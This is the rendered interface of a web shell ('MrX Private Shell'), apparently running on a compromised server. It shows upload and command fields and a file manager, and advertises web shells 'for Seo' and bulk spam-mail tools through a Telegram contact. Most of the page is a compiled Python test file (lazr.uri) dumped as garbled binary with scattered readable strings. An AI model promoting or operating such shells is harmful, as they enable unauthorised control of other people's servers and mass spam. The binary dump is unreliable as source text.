__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

��g���r�Sr\rS/rSSKJr SSKrSSKJrJ	r	J
r
JrJr "SS\R5rSrg)	zUnit tests.�
test_suite�)�defaultdictN)�InvalidURIError�URI�find_uris_in_text�merge�remove_dot_segmentsc�J�\rSrSrSrSrSrSrSrSr	Sr
S	rS
rSr
g)
�URITestCase�c��UR[[S55S5 UR[[S55S5 UR[[S55S5 UR[[S55S5 UR[[S	55S5 UR[[S
55S5 g)N�"eXAMPLE://a/./b/../b/%63/%7bfoo%7d�example://a/b/c/%7Bfoo%7D�http://www.EXAMPLE.com/�http://www.example.com/�http://www.gnome.org/%7ejamesh/�http://www.gnome.org/~jamesh/�http://example.com�http://example.com/�http://example.com:/�http://example.com:80/)�assertEqual�strr��selfs �9/usr/lib/python3/dist-packages/lazr/uri/tests/test_uri.py�test_normalisation�URITestCase.test_normalisation!s�������S�!E�F�G�4�	6�	
����S�!:�;�<�2�	4�����S�!B�C�D�8�	:�
	
����S�!5�6�7�2�	4�����S�!7�8�9�2�	4�����S�!9�:�;�2�	4�c
��SS/SS/SS//SQ/n[[5nUH2nUH)nU[[U55R	U5 M+ M4 UR[
U5[
U55 UH?nUR[U5[U[[US5555 MA g)	Nrrrrrr)rrrrr)r�list�hashr�appendr�len�sorted)r�
uri_groups�
uri_hashes�	uri_group�uris     r�
test_hashable�URITestCase.test_hashable4s���
1�
(�
*�
&�
&�
(�
.�
,�
.�
'��
�!��&�
�#�I� ���4��C��>�*�1�1�#�6�!�$�	
����Z��#�j�/�:�#�I�����y�!��z�$�s�9�Q�<�'8�"9�:�;�
=�$rc�:�UR[[S5 g)Nuhttp://€xample.com/)�assertRaisesrrrs r�test_invalid_uri�URITestCase.test_invalid_uriKs�����/�3�0G�Hrc���UR[SSSS9S5 UR[SSSS9S5 UR[SSSS9S5 UR[S	SSS9S5 g)
N��fooT)�
has_authorityz/fooFz/a/b/cz/a/b/fooz/a/b/)rrrs r�
test_merge�URITestCase.test_mergeNsn��	
����r�5��=�v�F�����r�5��>��F�����x��d�C�#�	%�����w��T�B�#�	%rc�p�UR[S5S5 UR[S5S5 g)Nz/a/b/c/./../../gz/a/gzmid/content=5/../6zmid/6)rr	rs r�test_remove_dot_segments�$URITestCase.test_remove_dot_segmentsXs0�����,�-?�@�&�I����,�-A�B�G�Lrc�x^�[S5mU4SjnURU"S5S5 URU"S5S5 URU"S5S5 URU"S5S5 URU"S	5S
5 URU"S5S5 URU"S
5S5 URU"S5S5 URU"S5S5 URU"S5S5 URU"S5S5 URU"S5S5 URU"S5S5 URU"S5S5 URU"S5S5 URU"S5S5 URU"S 5S5 URU"S!5S"5 URU"S#5S"5 URU"S$5S%5 URU"S&5S'5 URU"S(5S'5 URU"S)5S
5 g)*N�http://a/b/c/d;p?qc�8>�[TRU55$�N�r�resolve��relative�bases �rr>�3URITestCase.test_normal_resolution.<locals>.resolve`�����t�|�|�H�-�.�.rzg:h�gzhttp://a/b/c/gz./gzg/�http://a/b/c/g/z/g�
http://a/gz//gz	http://g/z?yzhttp://a/b/c/d;p?yzg?yzhttp://a/b/c/g?yz#szhttp://a/b/c/d;p?q#szg#szhttp://a/b/c/g#szg?y#szhttp://a/b/c/g?y#sz;xzhttp://a/b/c/;xzg;xzhttp://a/b/c/g;xzg;x?y#szhttp://a/b/c/g;x?y#sr1�.z
http://a/b/c/z./z..zhttp://a/b/z../z../g�http://a/b/gz../..z	http://a/z../../z../../g�rr�rr>rAs  @r�test_normal_resolution�"URITestCase.test_normal_resolution]s�����'�(��	/�������U�3�������-=�>�������-=�>�������->�?�������\�:�������[�9�������-A�B�������-?�@�������-C�D�������-?�@������)�-A�B�������->�?�������-?�@������+�-C�D�������-A�B�������_�=�������_�=�������]�;�������]�;�������^�<������)�[�9������*�[�9������+�\�:rc�^�[S5mU4SjnURU"S5S5 URU"S5S5 URU"S5S5 URU"S5S5 URU"S5S	5 URU"S
5S5 URU"S5S
5 URU"S5S5 URU"S5S5 URU"S5S5 URU"S5S5 URU"S5S5 URU"S5S5 URU"S5S5 URU"S5S5 URU"S5S5 URU"S 5S!5 URU"S"5S#5 g)$Nr:c�8>�[TRU55$r<r=r?s �rr>�5URITestCase.test_abnormal_resolution.<locals>.resolve~rCrz
../../../grFz
../../../../gz/./gz/../gzg.zhttp://a/b/c/g.z.gzhttp://a/b/c/.gzg..zhttp://a/b/c/g..z..gzhttp://a/b/c/..gz./../grHz./g/.rEzg/./hzhttp://a/b/c/g/hzg/../hzhttp://a/b/c/hz	g;x=1/./yzhttp://a/b/c/g;x=1/yz
g;x=1/../yzhttp://a/b/c/yzg?y/./xzhttp://a/b/c/g?y/./xzg?y/../xzhttp://a/b/c/g?y/../xzg#s/./xzhttp://a/b/c/g#s/./xzg#s/../xzhttp://a/b/c/g#s/../xrIrJs  @r�test_abnormal_resolution�$URITestCase.test_abnormal_resolution{s�����'�(��	/������.�,�?������1�,�?�������,�?������)�,�?�������2C�D�������2C�D�������2D�E�������2D�E������*�.�A������)�2C�D������)�2D�E������*�2B�C������-�2H�I������.�2B�C������+�2H�I������,�2I�J������+�2H�I������,�2I�Jrc���[S5nURURS55 URURS55 URURS55 g)N�http://code.launchpad.dev/foozcode.launchpad.devz
launchpad.devr1)r�
assertTrue�underDomain�rr)s  r�"test_underDomain_matches_subdomain�.URITestCase.test_underDomain_matches_subdomain�sO���1�2��������(<�=�>��������8�9��������+�,rc���[S5nURURS55 URURS55 URURS55 g)NrSzbeta.code.launchpad.devz
google.comzunchpad.dev)r�assertFalserUrVs  r�+test_underDomain_doesnt_match_non_subdomain�7URITestCase.test_underDomain_doesnt_match_non_subdomain�sU���1�2��������)B�C�D��������6�7��������7�8r�N)�__name__�
__module__�__qualname__�__firstlineno__rr*r.r4r7rKrPrWr[�__static_attributes__r]rrrrs2��4�&=�.I�%�M�
;�<K�8-�9rrc�R�[R"5R[5$r<)�unittest�
TestLoader�loadTestsFromNamer^r]rr�additional_testsrg�s����� �2�2�8�<�<r)�__doc__�type�
__metaclass__�__all__�collectionsrrd�lazr.urirrrrr	�TestCaserrgr]rr�<module>rosG��"��
����$��I�I�F9�(�#�#�F9�R=r

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 184 B 0644
test_docs.cpython-313.pyc File 1.75 KB 0644
test_uri.cpython-313.pyc File 9.38 KB 0644
Filemanager